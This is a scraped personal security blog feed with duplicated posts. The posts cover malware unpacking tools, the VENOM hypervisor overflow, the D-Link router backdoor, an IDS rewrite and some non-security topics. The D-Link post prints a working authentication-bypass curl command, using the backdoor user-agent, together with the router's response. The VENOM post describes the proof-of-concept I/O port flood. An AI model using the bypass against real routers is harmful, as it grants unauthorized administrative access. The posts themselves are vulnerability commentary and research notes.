<p>This was a quick post, but I’d like to split these up as the next two are going to be quite extensive. Give PackerAttacker a try.</p>
<p>Thanks for reading!</p>JMPandas, Fridas, PackerAttackers Oh My! As my professional career and personal interests begin to involve more and more reverse engineering I’ve been spending countless hours in debuggers and disassembling tools. What I’ve come to realize is the value of automated tools to assist in the reverse engineering process. My goal is to produce an automated unpacking and analysis framework for malicious code. There are projects that have aspired to do such things, such as https://github.com/BromiumLabs/PackerAttacker by Bromium Labs for automated unpacking/dumping of malicious code. There are a subset of techniques that are used by most malware authors that can be programmatically automated so reverse engineers do not have to perform these tasks if the technique is known, however, these subsets are ever changing, thus the need for a framework to provide extensibility and that is not subject to code rot. This extensibility should provide the ability to integrate commonly used tools such as Volatility. Further, they should provide a means of assisting in static analysis. There are three tools that I’ll be evaluating throughout this series: Panda (Platform for Architecture-Neutral Dynamic Analysis), Frida and the aforementioned PackerAttacker in relation to one of the requirements for the framework. As you may have already realized I will be focusing on Windows x86/WoW64 Malware for the time being. PackerAttacker I’ve included this project as it was released when I was initially thinking about this concept. Nicolas Brulez covered a number of unpacking concepts during the Reverse Engineering Malware course that I took last year at REcon, he demonstrated an automated unpacking system that he has kept private due to a number of reasons, which is what initially set me on a path to create my own using readily available technologies. Hooking With Detours PackerAttacker is essentially a user-land rootkit that monitors API calls and adjusts memory permissions to force DEP exceptions to track memory page usage using a vectored exception handler. Function hooking is done using Microsoft’s Detours. Detours is a library for instrumenting Windows x86 binary functions. From the paper: by re-writing target function images. ... Detours replaces the first few instructions of the target function with an unconditional jump to the user-provided detour function. So essentially it enables user-land rootkit functionality for a given set of target binary functions. Overall Technique for Dumping It’s quite intuitive in the sense that traditional packers will allocate memory pages to which they’ll adjust to have executable permissions for executing position independent code. The functions they track being NTProtectVirualMemory and NTAllocateVirtualMemory will then call a trampoline function to remove the execution permission so when the target memory is fully unpacked and is executed it results in the DEP exception. The exception is caught with the aforementioned Vectored Exception Handler, the unpacked region is dumped to disk, permissions are returned to the memory range so the code can continue its execution process, and the exception is handled. PE Based Packers They also handle PE-based packers by identifying -WX PE sections prior to injecting their hooks and since entry-points are typically not write-able it can be assumed that this is to be written to by the packer. They then adjust this permission to be --X so at which point the packer is writing to the section they will get an ACCESS_VIOLATION at which point they can then remove execution permissions from the section, and use the aforementioned method to dump memory when a DEP exception is hit. Process Injection Since process injection has two API ‘entry points’ from the binary they dump any memory being written to remote processes by hooking NtWriteVirtualMemory and NtMapViewOfSection. NtWriteVirtualMemory is awaited to be dumped when the injecting process exits. Limitations The obvious limitations are that of API function resolution, for example if the dumped code is pointing to runtime structures that provide the API translation for function calls, we’ll get a disassembly that does not provide an immense amount of value. This is a typical unpacking step for those unfamiliar, known as ‘reconstructing the IAT’. Not to say that this is a simple task to accomplish, and that there is no silver bullet for unpacking binaries but this is needed nonetheless. That step will require manually unpacking the translation function, for example, and using those checksums to mark up the dumped disassembly. Currently only 32-bit binaries are supported, as the WoW64 version of Detours is currently private, and they have not written a 64-bit hooking framework. Virtual machines, and other forms of packers are outside of the scope of this toolset as well. Lack of extensibility. As was defined by my above mentioned requirements, C++ code is not extensible or easily integratabtle with other toolsets. An overview of the project can be found in this video (their talk from this year’s DerbyCon) which I found to be the only decent source of information as there is a lack of documentation currently. This was a quick post, but I’d like to split these up as the next two are going to be quite extensive. Give PackerAttacker a try. Thanks for reading!First Look at Venom2015-05-21T03:11:00+00:002015-05-21T03:11:00+00:00http://pwnage.io/first-look-at-venom<h2 id="intro">Intro</h2>
<p>For those of you who are not aware this was dropped last week by CrowdStrike: http://venom.crowdstrike.com/ essentially a virtual floppy disk controller (FDC) that was originally from the qemu project which was later adopted by a number of other projects (including QEMU, Xen, KVM, VirtualBox etc.) contains a buffer overflow that can lead to memory corruption within the a running hypervisor using instructions being sent to the FDC. The result being that a prior knowledge of the hosting architecture and structures would be needed, but we’ll get more into that later on. The obvious impacts are the largest for data centers, since the only access that is required to exploit the vulnerability is root/system/driver level access on a system running on the hypervisor that would have the ability to send these driver instructions. The advisory goes into many of the impacts, and I suggest you revise them.</p>
<h2 id="setup">Setup</h2>
<p>I’m running OS X so I had to install a Linux VM that then had QEMU installed for simplicity to begin with, which I then installed another Linux QEMU instance (qcow image) on top of this that I would be using to test this vulnerability. I chose to use QEMU as this has had a patch released for it here: <a href="http://git.qemu.org/?p=qemu.git;a=commit;h=e907746266721f305d67bc0718795fedee2e824c">http://git.qemu.org/?p=qemu.git;a=commit;h=e907746266721f305d67bc0718795fedee2e824c</a> and wanted to run it under Linux for later testing with KVM.</p>
<p>I then saw this come across my twitter feed from HD Moore: <a href="https://marc.info/?l=oss-security&m=143155206320935&w=2">https://marc.info/?l=oss-security&m=143155206320935&w=2</a> which was the first public PoC. This code imports the Linux IO library, which uses <code class="language-plaintext highlighter-rouge">#define FIFO 0x3f5</code> to define the IO port constant to write to, sets the I/O privilege level to 3 (which gives you access to all I/O ports) here: <code class="language-plaintext highlighter-rouge">iopl(3);</code> then uses <a href="http://man7.org/linux/man-pages/man2/inl.2.html">outb</a> to write the device Read ID to the <code class="language-plaintext highlighter-rouge">FIFO</code> port, then uses <code class="language-plaintext highlighter-rouge">outb</code> within a loop to write <code class="language-plaintext highlighter-rouge">10000000</code> bytes (<code class="language-plaintext highlighter-rouge">0x42</code> being the ASCII letter <code class="language-plaintext highlighter-rouge">B</code>). This is my interpretation of the linux kernel code, as you can see my knowledge of this is fairly limited :). I found this article very useful for understanding the PoC code: <a href="http://tldp.org/HOWTO/IO-Port-Programming-2.html">http://tldp.org/HOWTO/IO-Port-Programming-2.html</a></p>
<h2 id="crash">Crash</h2>
<p>Unsurprisingly this causes a crash in the application considering we’re corrupting so much memory. In my version of QEMU the crash was caused by the rdx register containing <code class="language-plaintext highlighter-rouge">0x4242424242424242</code> which is obviously a non-existent address, and being dereferenced for a QWORD ptr that is set into rax that is later relatively referenced (<code class="language-plaintext highlighter-rouge">rax+0x18</code>) for a cmp 0x0, looks like we already have some kind of flow control, although we have no knowledge of relative addresses that are required to point to our overwritten stack address.</p>
<p>After subsequent runs I noticed that the PoC was causing inconsistent results, most likely due to the fact that we were overwriting so much memory that it was affecting a large amount of data stored on the stack and can result in different branches called. A result of another run than the one stated above can be seen here:</p>
<p><a href="http://4.bp.blogspot.com/--LjbZaso7rI/VV1GM97ed7I/AAAAAAAAAWQ/QJGxlZCKTGU/s1600/Screen%2BShot%2B2015-05-13%2Bat%2B11.06.35%2BPM.png"><img src="http://4.bp.blogspot.com/--LjbZaso7rI/VV1GM97ed7I/AAAAAAAAAWQ/QJGxlZCKTGU/s640/Screen%2BShot%2B2015-05-13%2Bat%2B11.06.35%2BPM.png" alt="" /></a></p>
<h2 id="difficulty-ahead">Difficulty Ahead</h2>
<p>Working toward a working exploit with modern mitigation techniques (PIE compiled executable, non-executable stack) on the host machine running QEMU would be/is going to be a difficult task for anyone who wants to develop a proof of concept. This would involve memory disclosure to the guest operating system for a PIE/ASLR bypass, and writing a ROP chain to bypass a non-executable stack.</p>
<p>An example of this is a talk that I saw at REcon last year:<a href="https://www.youtube.com/watch?v=i29bAx6W1uI"> https://www.youtube.com/watch?v=i29bAx6W1uI</a> required the following vulnerabilities to successfully escape from the guest and achieve code execution on an x86 Windows host machine:</p>
<p>• CVE-2014-0981: VirtualBox crNetRecvReadback Memory Corruption Vulnerability</p>
<ul>
<li>It’s a write-what-where memory corruption primitive by design, within the address space of the hypervisor.</li>
</ul>
<p>• CVE-2014-0982: VirtualBox crNetRecvWriteback Memory Corruption Vulnerability</p>
<ul>
<li>Another memory corruption primitive by design, within the address space of the hypervisor.</li>
</ul>
<p>• CVE-2014-0983: VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption Vulnerability</p>
<ul>
<li>Allows the attacker to corrupt arbitrary memory with a pointer to attacker-controlled data</li>
</ul>
<p>VUPEN later released a technique to gain reliable code execution with process continuation on a 64-bit Windows 8 host platform using only one of the mentioned vulnerabilities: <a href="http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php">http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php</a> both being great feats in exploit development. Which gives light to the possibility that this memory corruption vulnerability could lead to code execution, although I am still skeptical. CrowdStrike states they’ll be releasing further details in the future, and didn’t want to provide too much information to avoid seeing exploits in the wild too quickly. We’ll see how things progress.</p>
<h2 id="update">Update</h2>
<p>Looks like they’ve provided the vulnerability details here: <a href="http://blog.crowdstrike.com/venom-vulnerability-details/">http://blog.crowdstrike.com/venom-vulnerability-details/</a> much more detailed than the initial public report. Obviously not providing any methods for exploitation as this is just a more detailed vulnerability write-up.</p>JMIntro For those of you who are not aware this was dropped last week by CrowdStrike: http://venom.crowdstrike.com/ essentially a virtual floppy disk controller (FDC) that was originally from the qemu project which was later adopted by a number of other projects (including QEMU, Xen, KVM, VirtualBox etc.) contains a buffer overflow that can lead to memory corruption within the a running hypervisor using instructions being sent to the FDC. The result being that a prior knowledge of the hosting architecture and structures would be needed, but we’ll get more into that later on. The obvious impacts are the largest for data centers, since the only access that is required to exploit the vulnerability is root/system/driver level access on a system running on the hypervisor that would have the ability to send these driver instructions. The advisory goes into many of the impacts, and I suggest you revise them. Setup I’m running OS X so I had to install a Linux VM that then had QEMU installed for simplicity to begin with, which I then installed another Linux QEMU instance (qcow image) on top of this that I would be using to test this vulnerability. I chose to use QEMU as this has had a patch released for it here: http://git.qemu.org/?p=qemu.git;a=commit;h=e907746266721f305d67bc0718795fedee2e824c and wanted to run it under Linux for later testing with KVM. I then saw this come across my twitter feed from HD Moore: https://marc.info/?l=oss-security&m=143155206320935&w=2 which was the first public PoC. This code imports the Linux IO library, which uses #define FIFO 0x3f5 to define the IO port constant to write to, sets the I/O privilege level to 3 (which gives you access to all I/O ports) here: iopl(3); then uses outb to write the device Read ID to the FIFO port, then uses outb within a loop to write 10000000 bytes (0x42 being the ASCII letter B). This is my interpretation of the linux kernel code, as you can see my knowledge of this is fairly limited :). I found this article very useful for understanding the PoC code: http://tldp.org/HOWTO/IO-Port-Programming-2.html Crash Unsurprisingly this causes a crash in the application considering we’re corrupting so much memory. In my version of QEMU the crash was caused by the rdx register containing 0x4242424242424242 which is obviously a non-existent address, and being dereferenced for a QWORD ptr that is set into rax that is later relatively referenced (rax+0x18) for a cmp 0x0, looks like we already have some kind of flow control, although we have no knowledge of relative addresses that are required to point to our overwritten stack address. After subsequent runs I noticed that the PoC was causing inconsistent results, most likely due to the fact that we were overwriting so much memory that it was affecting a large amount of data stored on the stack and can result in different branches called. A result of another run than the one stated above can be seen here: Difficulty Ahead Working toward a working exploit with modern mitigation techniques (PIE compiled executable, non-executable stack) on the host machine running QEMU would be/is going to be a difficult task for anyone who wants to develop a proof of concept. This would involve memory disclosure to the guest operating system for a PIE/ASLR bypass, and writing a ROP chain to bypass a non-executable stack. An example of this is a talk that I saw at REcon last year: https://www.youtube.com/watch?v=i29bAx6W1uI required the following vulnerabilities to successfully escape from the guest and achieve code execution on an x86 Windows host machine: • CVE-2014-0981: VirtualBox crNetRecvReadback Memory Corruption Vulnerability It’s a write-what-where memory corruption primitive by design, within the address space of the hypervisor. • CVE-2014-0982: VirtualBox crNetRecvWriteback Memory Corruption Vulnerability Another memory corruption primitive by design, within the address space of the hypervisor. • CVE-2014-0983: VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption Vulnerability Allows the attacker to corrupt arbitrary memory with a pointer to attacker-controlled data VUPEN later released a technique to gain reliable code execution with process continuation on a 64-bit Windows 8 host platform using only one of the mentioned vulnerabilities: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php both being great feats in exploit development. Which gives light to the possibility that this memory corruption vulnerability could lead to code execution, although I am still skeptical. CrowdStrike states they’ll be releasing further details in the future, and didn’t want to provide too much information to avoid seeing exploits in the wild too quickly. We’ll see how things progress. Update Looks like they’ve provided the vulnerability details here: http://blog.crowdstrike.com/venom-vulnerability-details/ much more detailed than the initial public report. Obviously not providing any methods for exploitation as this is just a more detailed vulnerability write-up.Updating Kali’s apt-get Keyring2015-03-07T21:33:00+00:002015-03-07T21:33:00+00:00http://pwnage.io/updating-kalis-apt-get-keyring<p>It appears as though the Kali dev’s PGP key has expired, which makes apt-get error out since it cannot verify packages within this state, a fix is to simply update the key:</p>
<p>sudo apt-key adv –recv-keys –keyserver keys.gnupg.net 7D8D0BF6</p>
<p>The identifier at the end was the key in my case (which I’m assuming will be the same in yours), if not you can list your current keys using: apt-key list and you can use those that are distinguished as being expired.</p>
<p>Just thought I’d shoot this forward as I spent some time on this.</p>
<p><img src="http://3.bp.blogspot.com/-eU19a8Ryc8U/VPtueoDAkZI/AAAAAAAAAVg/0lQSdeFbbs8/s1600/pgp.png" alt="" /></p>
<p><a href="https://xkcd.com/1181/">https://xkcd.com/1181</a></p>JMIt appears as though the Kali dev’s PGP key has expired, which makes apt-get error out since it cannot verify packages within this state, a fix is to simply update the key: sudo apt-key adv –recv-keys –keyserver keys.gnupg.net 7D8D0BF6 The identifier at the end was the key in my case (which I’m assuming will be the same in yours), if not you can list your current keys using: apt-key list and you can use those that are distinguished as being expired. Just thought I’d shoot this forward as I spent some time on this. https://xkcd.com/1181Life Lessons From a Muay Thai World Champion2014-01-31T06:19:00+00:002014-01-31T06:19:00+00:00http://pwnage.io/life-lessons-from-muay-thai-world<h2 id="intro">Intro</h2>
<p>Again, another tangent post. I thought I’d share what I heard tonight from my Muay Thai instructor.</p>
<h2 id="three-people-getting-into-a-ring">Three People Getting Into a Ring</h2>
<p>Essentially he started by saying that we were concentrating too much on ourselves and not on our opponents. He then said something that could be presented as an analogy (which I’m going to do in this case):</p>
<p>“If you keep beating yourself up over the mistakes you’ve made in the past you’re going to walk into a ring fighting two people. The person you’re fighting and yourself. For every time the other guy knocks you one, you mine as well backup and feed one to yourself since that’s what you’re doing psychologically.”</p>
<p>This is paraphrased but you get the point. This can not only be applied to martial arts but also other aspects of life. Imagine you walked into every security engagement, job interview, presentation and any other stressful situation with not only the opponent that you’re up against but also yourself. Loathing, mistrust, angst, hatred and all other emotions that you can possible apply against yourself are only going cause harm.</p>
<p>I’m not saying that you shouldn’t learn from your failures and I can’t emphasize that enough. I really enjoyed the talk that Adam Savage from Myth Busters did at Defcon 17, which you can find here: <a href="http://www.youtube.com/watch?v=1825zkmJVuE">http://www.youtube.com/watch?v=1825zkmJVuE</a>. My main point is that dwelling on the past can be harmful to many aspects of your life. Including the fights that you’ll continue to face each and every day.</p>
<p>There’s a rant for you. Thanks for reading!</p>
<p>JM</p>JMIntro Again, another tangent post. I thought I’d share what I heard tonight from my Muay Thai instructor. Three People Getting Into a Ring Essentially he started by saying that we were concentrating too much on ourselves and not on our opponents. He then said something that could be presented as an analogy (which I’m going to do in this case): “If you keep beating yourself up over the mistakes you’ve made in the past you’re going to walk into a ring fighting two people. The person you’re fighting and yourself. For every time the other guy knocks you one, you mine as well backup and feed one to yourself since that’s what you’re doing psychologically.” This is paraphrased but you get the point. This can not only be applied to martial arts but also other aspects of life. Imagine you walked into every security engagement, job interview, presentation and any other stressful situation with not only the opponent that you’re up against but also yourself. Loathing, mistrust, angst, hatred and all other emotions that you can possible apply against yourself are only going cause harm. I’m not saying that you shouldn’t learn from your failures and I can’t emphasize that enough. I really enjoyed the talk that Adam Savage from Myth Busters did at Defcon 17, which you can find here: http://www.youtube.com/watch?v=1825zkmJVuE. My main point is that dwelling on the past can be harmful to many aspects of your life. Including the fights that you’ll continue to face each and every day. There’s a rant for you. Thanks for reading! JMDLNA Content On PS4 Not Using Plex2014-01-13T04:02:00+00:002014-01-13T04:02:00+00:00http://pwnage.io/dlna-content-on-ps4-not-using-plex<h2 id="intro">Intro</h2>
<p>This isn’t so much of a security post as a media content/streaming one. I was lucky enough to receive a Playstation 4 for Christmas this year and noticed it was lacking in the department of DLNA content. Essentially there’s no way to stream local content at this point in time to your Playstation on your home network via their tools.</p>
<p>I’m not sure what the motive of this would have been? I’m leaning mostly toward an anti-piracy effort or an effort to increase the use of their streaming services. The only tutorials I’ve seen online thus far involve using a Plex account to stream content, but there’s really no need if the Playstation’s browser provides flash support.</p>
<h2 id="jwplayer--server-setup">JWPlayer & Server Setup</h2>
<p>I ended up using a free (for personal use) open source project called JWPlayer. Head over to <a href="http://www.jwplayer.com/sign-up/">their signup page</a> and <a href="https://account.jwplayer.com/static/download/jwplayer-6.7.zip">download</a> their sourcecode in a zip file (preferably to the Web Server that you’ll be hosting it from). Next, you’ll need to setup a web server somewhere on your network to host the provided scripts. I did the following with an old P4 machine running <a href="http://lubuntu.net/">lubuntu</a>:</p>
<p><code class="language-plaintext highlighter-rouge">sudo apt-get install apache2</code></p>
<p>This will install Apache Web Server on the local machine and start the service automatically.</p>
<p>Next you’ll want to copy that zip file to <code class="language-plaintext highlighter-rouge">/var/www</code> where your web content will be hosted and unzip it:</p>
<p><code class="language-plaintext highlighter-rouge">sudo cp jwplayer-6.7.zip /var/www</code></p>
<p><code class="language-plaintext highlighter-rouge">cd /var/www/</code></p>
<p><code class="language-plaintext highlighter-rouge">sudo unzip jwplayer-6.7.zip</code></p>
<p>Open up a browser and go to <code class="language-plaintext highlighter-rouge">http://localhost/jwplayer/README.html</code></p>
<p>This will provide instructions on some basic setup of the javascript libraries. I ended up with:</p>
<p><code class="language-plaintext highlighter-rouge">cat play.html</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><html>
<script type="text/javascript" src="jwplayer/jwplayer.js"></script>
<div id="myElement">Loading the player...</div>
<script type="text/javascript">
jwplayer("myElement").setup({
file: "/uploads/video.mp4",
});
</script>
</html>
</code></pre></div></div>
<p>Nothing fancy, essentially the provided embedded code in an html file with adjustments to the javascript paths. The default player dimensions are small when you hit the initial page, but you can full screen it from the playstation browser which will fit the dimensions of your screen.</p>
<p>You’ll want to upload your content to the same server under /var/www/uploads and link HTML files to with their names in the jwplayer function call as you can see in the provided code.</p>
<p>Once this is done open up the browser on your PS4 and navigate to your webserver’s local IP address with whatever you called your HTML file, for example:</p>
<p><code class="language-plaintext highlighter-rouge">http://192.168.0.123/play.html</code></p>
<p>You’ll then see the small jwplayer, click on the play button, then you’ll see a full screen button in the bottom right hand corner. Click on this and enjoy the show :)</p>
<h2 id="limitations--comments">Limitations & Comments</h2>
<p>Unfortunately only <code class="language-plaintext highlighter-rouge">.mov</code> and <code class="language-plaintext highlighter-rouge">.mp4</code> formats are currently supported. I’d suggest grabbing <a href="http://handbrake.fr/">handbrake</a> to convert any other formats to these.</p>
<p>If you’re new to Linux and/or web content in general this might be a little tough for you, but I didn’t want to hand hold too much - look at it as being a learning experience. I just wanted to demonstrate that there are other methods besides Plex of streaming content to your Playstation 4.</p>
<p>Thanks for reading,</p>
<p>JM</p>JMIntro This isn’t so much of a security post as a media content/streaming one. I was lucky enough to receive a Playstation 4 for Christmas this year and noticed it was lacking in the department of DLNA content. Essentially there’s no way to stream local content at this point in time to your Playstation on your home network via their tools. I’m not sure what the motive of this would have been? I’m leaning mostly toward an anti-piracy effort or an effort to increase the use of their streaming services. The only tutorials I’ve seen online thus far involve using a Plex account to stream content, but there’s really no need if the Playstation’s browser provides flash support. JWPlayer & Server Setup I ended up using a free (for personal use) open source project called JWPlayer. Head over to their signup page and download their sourcecode in a zip file (preferably to the Web Server that you’ll be hosting it from). Next, you’ll need to setup a web server somewhere on your network to host the provided scripts. I did the following with an old P4 machine running lubuntu: sudo apt-get install apache2 This will install Apache Web Server on the local machine and start the service automatically. Next you’ll want to copy that zip file to /var/www where your web content will be hosted and unzip it: sudo cp jwplayer-6.7.zip /var/www cd /var/www/ sudo unzip jwplayer-6.7.zip Open up a browser and go to http://localhost/jwplayer/README.html This will provide instructions on some basic setup of the javascript libraries. I ended up with: cat play.html <html> <script type="text/javascript" src="jwplayer/jwplayer.js"></script> <div id="myElement">Loading the player...</div> <script type="text/javascript"> jwplayer("myElement").setup({ file: "/uploads/video.mp4", }); </script> </html> Nothing fancy, essentially the provided embedded code in an html file with adjustments to the javascript paths. The default player dimensions are small when you hit the initial page, but you can full screen it from the playstation browser which will fit the dimensions of your screen. You’ll want to upload your content to the same server under /var/www/uploads and link HTML files to with their names in the jwplayer function call as you can see in the provided code. Once this is done open up the browser on your PS4 and navigate to your webserver’s local IP address with whatever you called your HTML file, for example: http://192.168.0.123/play.html You’ll then see the small jwplayer, click on the play button, then you’ll see a full screen button in the bottom right hand corner. Click on this and enjoy the show :) Limitations & Comments Unfortunately only .mov and .mp4 formats are currently supported. I’d suggest grabbing handbrake to convert any other formats to these. If you’re new to Linux and/or web content in general this might be a little tough for you, but I didn’t want to hand hold too much - look at it as being a learning experience. I just wanted to demonstrate that there are other methods besides Plex of streaming content to your Playstation 4. Thanks for reading, JMUse This Bash Command to Download Every Phrack Article Ever2013-11-19T05:29:00+00:002013-11-19T05:29:00+00:00http://pwnage.io/use-this-bash-command-to-download-every<p>Sorry I’ve been MIA. My working world has been quite hectic recently, and I’ve been dedicating my research toward it in my off time.</p>
<p>In the mean time, here’s a command that will download every Phrack article ever for you:</p>
<p><code class="language-plaintext highlighter-rouge">i=1; while [ $i -le 68 ]; do curl -o http://www.phrack.org/archives/tgz/phrack$i.tar.gz; i=$[$i+1]; done</code></p>
<p>Hopefully I can start posting again soon.</p>
<p>Cheers,</p>
<p>JM</p>JMSorry I’ve been MIA. My working world has been quite hectic recently, and I’ve been dedicating my research toward it in my off time. In the mean time, here’s a command that will download every Phrack article ever for you: i=1; while [ $i -le 68 ]; do curl -o http://www.phrack.org/archives/tgz/phrack$i.tar.gz; i=$[$i+1]; done Hopefully I can start posting again soon. Cheers, JMD-Link Backdoor Fun2013-10-14T06:24:00+00:002013-10-14T06:24:00+00:00http://pwnage.io/d-link-backdoor-fun<h2 id="uh-oh">Uh Oh…</h2>
<p>Interestingly enough I was messing around with my D-Link router this weekend and found a number of web application vulnerabilities (I’ve contacted D-Link but haven’t heard back - they’ll most likely be busy tomorrow though with this MUCH WORSE “vulnerability”), and <a href="http://www.cso.com.au/article/528993/backdoor_found_d-link_router_firmware_code/">this popped up in my twitter feed</a>. This is a news story regarding <a href="http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/">this blog post.</a></p>
<p>So I did:</p>
<p><code class="language-plaintext highlighter-rouge">curl -A "xmlset_roodkcableoj28840ybtide" http://192.168.0.1/tools_admin.php</code></p>
<p>Which returned:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><html>
<head>
<meta http-equiv=Content-Type content="no-cache">
<meta http-equiv=Content-Type content="text/html; charset=utf-8">
<title>D-LINK SYSTEMS, INC | WIRELESS ROUTER | HOME</title>
<script>
-snip-
/* parameter checking */
function check()
{
var f=get_obj("frm");
if(is_blank(f.admin_name.value))
{
alert("Please input the Login Name.");
f.admin_name.select();
return false;
}
else if(strchk_hostname(f.admin_name.value)==false)
{
alert("The Login Name is with invalid character. Please check it.");
f.admin_name.select();
return false;
}
if(strchk_unicode(f.admin_password1.value)==true)
{
alert("The New Password is with invalid character. Please check it.");
f.admin_password1.select();
return false;
}
if(f.admin_password1.value!=f.admin_password2.value)
{
alert("The New Password and Confirm Password are not matched.");
f.admin_password1.select();
return false;
}
-snip-
</code></pre></div></div>
<p>Well that’s not good. Full authentication bypass.</p>
<p>Something funny that I found in the comments of the Reddit /r/netsec thread:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ruby -e 'puts "xmlset_roodkcableoj28840ybtide".reverse'
editby04882joelbackdoor_teslmx
</code></pre></div></div>
<p>Well, if Joel’s still around I’m not sure how much longer he’ll be at his job. Damn…</p>
<p>Update: There has been some speculation that this backdoor is merely functionality: <a href="http://pastebin.com/aMz8eYGa">http://pastebin.com/aMz8eYGa</a></p>JMUh Oh… Interestingly enough I was messing around with my D-Link router this weekend and found a number of web application vulnerabilities (I’ve contacted D-Link but haven’t heard back - they’ll most likely be busy tomorrow though with this MUCH WORSE “vulnerability”), and this popped up in my twitter feed. This is a news story regarding this blog post. So I did: curl -A "xmlset_roodkcableoj28840ybtide" http://192.168.0.1/tools_admin.php Which returned: <html> <head> <meta http-equiv=Content-Type content="no-cache"> <meta http-equiv=Content-Type content="text/html; charset=utf-8"> <title>D-LINK SYSTEMS, INC | WIRELESS ROUTER | HOME</title> <script> -snip- /* parameter checking */ function check() { var f=get_obj("frm"); if(is_blank(f.admin_name.value)) { alert("Please input the Login Name."); f.admin_name.select(); return false; } else if(strchk_hostname(f.admin_name.value)==false) { alert("The Login Name is with invalid character. Please check it."); f.admin_name.select(); return false; } if(strchk_unicode(f.admin_password1.value)==true) { alert("The New Password is with invalid character. Please check it."); f.admin_password1.select(); return false; } if(f.admin_password1.value!=f.admin_password2.value) { alert("The New Password and Confirm Password are not matched."); f.admin_password1.select(); return false; } -snip- Well that’s not good. Full authentication bypass. Something funny that I found in the comments of the Reddit /r/netsec thread: $ ruby -e 'puts "xmlset_roodkcableoj28840ybtide".reverse' editby04882joelbackdoor_teslmx Well, if Joel’s still around I’m not sure how much longer he’ll be at his job. Damn… Update: There has been some speculation that this backdoor is merely functionality: http://pastebin.com/aMz8eYGaRevamped Espial IDS2013-06-27T15:59:00+00:002013-06-27T15:59:00+00:00http://pwnage.io/revamped-espial-ids<h2 id="intro">Intro</h2>
<p>I was taking another look at the <a href="http://infosec4breakfast.blogspot.ca/2012/08/espial-ids_12.html">code I wrote for my university project a while back</a> and honestly I didn’t like what I saw. After coding Ruby for a while, I see that simplicity is best in most circumstances, and having a huge amount of code pertaining to things like linked lists for rule lookups isn’t really what this project should be about. I also hated the fact that rules had to be based on single key words - since at the time I thought efficiency had to be priority - but this should no in fact be the case. It’s a IDS for crying out loud! So I decided to re-write the thing to use a number of different methods for rule lookups, and rule settings to include basically whatever you want.</p>
<h2 id="overview">Overview</h2>
<p>I just wanted to make this post to provide a general overview of what’s going on. Basically what this does is it takes rules based on this format:</p>
<p><code class="language-plaintext highlighter-rouge">^!!START_MATCH!!(.*)!!END_MATCH!!::([0-9])::([a-zA-Z!.? ]+)</code></p>
<p>As you can probably guess, the signature is put in between the <code class="language-plaintext highlighter-rouge">START_MATCH</code> and <code class="language-plaintext highlighter-rouge">END_MATCH</code> areas. I’ve then implemented a packet multiplier for future functionality, and the alert itself. What I would like to see happen is having parsing for TCPDump to include the originating IP address, however, right now it just includes where the match occurred.</p>
<h3 id="regex-signatures">Regex Signatures</h3>
<p>I’ve also decided to make the signatures regex based. So if you’re matching something like HTML, you’ll have to escape all of the areas that would affect the regex itself.</p>
<h3 id="fast-rule-lookups-with-regex-and-vectors">Fast Rule Lookups With Regex and Vectors</h3>
<p>So, I still want this thing to be fast. Currently the match block is constructed like so:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> if(this->rules->size() > 0) {
> string searchBlock = "";
> for(rulesIter = this->rules->begin(); rulesIter != this->rules->end(); rulesIter++) {
> if(rulesIter == this->rules->begin()) //Construct a big fat regex from all of the rules.
> searchBlock += ".*(" + rulesIter->first + ").*";
> else searchBlock += "|.*(" + rulesIter->first + ").*";
> }
> this->globalMatchBlock = newregex(searchBlock);
</code></pre></div></div>
<p>Basically all this does is stick them all together into one OR statement regex to match text on. The result is that the match block will stop on the first match that occurs, and the resultant regex array will only contain text at index (if you want to call it that) where the match occurred. So for example:</p>
<p><code class="language-plaintext highlighter-rouge">.*(match).*|.*(me).*|.*(please).*</code></p>
<p>If I have the text of “match” then the array index [1] will have “match” in it. Which resulted in this function:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> voidDB::search(string &currLine)
> {
> smatch result;
> ofstream outfile;
> regex_search(currLine, result, *globalMatchBlock);
>
> for(int i = 0; i < result.size(); i++){
> if(result[i].length() > 2 && i != 0) {
> outfile << "Match: " << (*rulesVec)[i-1].alert << endl; //Access alert in vector at that index, since that's the one that matched...
> outfile << "From: " << result[0] << endl << endl;
>
> outfile.flush();
> }
</code></pre></div></div>
<p>So basically it will search through the text, and if the array index contains a match, it will look up the alert in the established rule vector, resulting in O(n)+O(1) lookup efficiency. The initial O(n) comparison seems slow from an algorithm perspective, but the length comparisons won’t use up much CPU time compared to a rule comparison against a map, or hash map.</p>
<h3 id="limitations">Limitations</h3>
<p>The limitations are that the string buffer is a limited size, since only one match will occur based on the provided buffer (currLine). Another limitation is that one rule is only being matched per block. So if you had multiple rules being matched in a provided text block then you would only see one match occurring.</p>
<h2 id="the-project-and-getting-involved">The Project and Getting Involved</h2>
<p>You can find the project on my GitHub: <a href="https://github.com/jershmagersh/EspialIDS/tree/master/EspialIDS">https://github.com/jershmagersh/EspialIDS/</a></p>
<p>Currently there isn’t much of a ReadMe, and other necessities, but these will come with time. If you’d like to get involved please contact me. Currently the only developer involved is myself.</p>JMIntro I was taking another look at the code I wrote for my university project a while back and honestly I didn’t like what I saw. After coding Ruby for a while, I see that simplicity is best in most circumstances, and having a huge amount of code pertaining to things like linked lists for rule lookups isn’t really what this project should be about. I also hated the fact that rules had to be based on single key words - since at the time I thought efficiency had to be priority - but this should no in fact be the case. It’s a IDS for crying out loud! So I decided to re-write the thing to use a number of different methods for rule lookups, and rule settings to include basically whatever you want. Overview I just wanted to make this post to provide a general overview of what’s going on. Basically what this does is it takes rules based on this format: ^!!START_MATCH!!(.*)!!END_MATCH!!::([0-9])::([a-zA-Z!.? ]+) As you can probably guess, the signature is put in between the START_MATCH and END_MATCH areas. I’ve then implemented a packet multiplier for future functionality, and the alert itself. What I would like to see happen is having parsing for TCPDump to include the originating IP address, however, right now it just includes where the match occurred. Regex Signatures I’ve also decided to make the signatures regex based. So if you’re matching something like HTML, you’ll have to escape all of the areas 